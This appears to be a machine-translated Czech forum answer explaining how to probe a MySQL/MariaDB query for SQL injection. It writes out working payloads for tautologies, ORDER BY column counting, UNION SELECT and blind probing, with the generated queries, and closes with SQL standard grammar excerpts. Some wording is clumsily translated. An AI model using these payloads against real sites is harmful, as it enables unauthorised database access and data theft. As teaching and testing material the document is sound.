Dobře, tak se pobavíme.
Když se podívám na chybovou zprávu
Předpokládám, že dotaz a kód v aplikaci jsou víceméně takto pseudo moudré, @o
je ve skutečnosti uživatelská proměnná MySQL..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Použiji SQL housle mezera simulovat SQL injection test a více získat možný přístup k dalším tabulkám.
Injekci můžete otestovat pomocí 1' OR 1 = 1#
nebo 1' OR 1 = 1--
obojí by mělo fungovat a mělo by vám poskytnout stejný výsledek, když použijete 1
jako vstup. Je to proto, že MariaDB automaticky přenáší typy pro jiné databáze, které možná budete muset použít přísnější verzi 1' OR '1' = '1#
Což by mělo vygenerovat
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Nebo
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Potom, protože vidíte chyby v aplikaci, můžete použít ORDER BY 1
zkontrolujte, kolik sloupců je vybráno, a zvyšujte počet, dokud se nezobrazí chyba.
Chyba:ER_BAD_FIELD_ERROR:Neznámý sloupec '2' v 'klauzuli objednávky'
Vstříkněte pomocí
1' ORDER BY 1#
nebo 1' ORDER BY 1--
Což znamená řadit podle prvního sloupce v sadě výsledků NE seřadit 1
doslovný.
Vygeneruje
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Nebo
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Když znáte sloupce, můžete použít UNION
dostat se do jiných tabulek. Použijte NULL
pokud nepotřebujete všechny sloupce.
injekce
1' UNION ALL SELECT NULL FROM DUAL#
Všimněte si, že DUAL
je "virtuální" neexistující tabulka v MariaDB, MySQL a Oracle, pokud můžete dotazovat tuto "tabulku", znamená to, že se můžete technicky dostat i do jiných tabulek.
vygenerované SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
A pokud je webová stránka navržena jako "podrobná" stránka, kde je vždy viditelný jeden záznam, musíte přidat LIMIT 1, 1
ve vaší injekci.
Co když ve webové aplikaci nejsou vidět žádné chyby, měli byste být schopni slepě bruteforce geuss se slepými SQL injekcemi a vidět, jak aplikace funguje.
Zkuste také věci jako ?o=0
, ?o=NULL
nebo velmi vysoká čísla, jako je maximální hodnota INT (podepsáno) ?o=2147483647
nebo (nepodepsané) ?o=4294967295
než se pokusíte hrubou silou použít číslo sloupce, abyste věděli, jak aplikace zachází se záznamy, které nelze najít. Protože je velmi nepravděpodobné, že bude mít id 0
nebo vysoká čísla na INT
datový typ, protože aplikace přestane fungovat, pokud bylo zadáno poslední číslo. Pokud stále získáte záznam s těmito vysokými čísly, použijte maximální hodnoty pro BIGINT
místo toho datový typ.
Pro sloupec 1 stejné id výsledku o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
U sloupců 2, které budou chybové, ale většinou pravděpodobně uvidíte chybovou stránku nebo zprávu, že záznam nebyl nalezen.
Nebo sladký chybový stav HTTP 404 (Nenalezeno). 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Při používání LIMIT
můžete nastat jeden problém bez použití ORDER BY
může být šance získat stejné záznamy, protože standard SQL definoval, že tabulky/soubory výsledků SQL jsou bez pořadí bez použití ORDER BY
V ideálním případě tedy musíte nadále používat ORDER BY 1
v bruteforces.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
A
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Databáze podporují ORDER BY 1
je lepší, než jsem si zpočátku myslel, protože to funguje v MySQL, MariaDB, SQL Server (MSSQL) a PostgreSQL.
Také ORDER BY 1
byla funkce SQL 92, která byla odstraněna v SQL 99.
Takže databáze SQL by ve skutečnosti neměly spouštět ORDER BY 1
pokud by se v tomto bodě řídili standardy SQL.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
vs SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC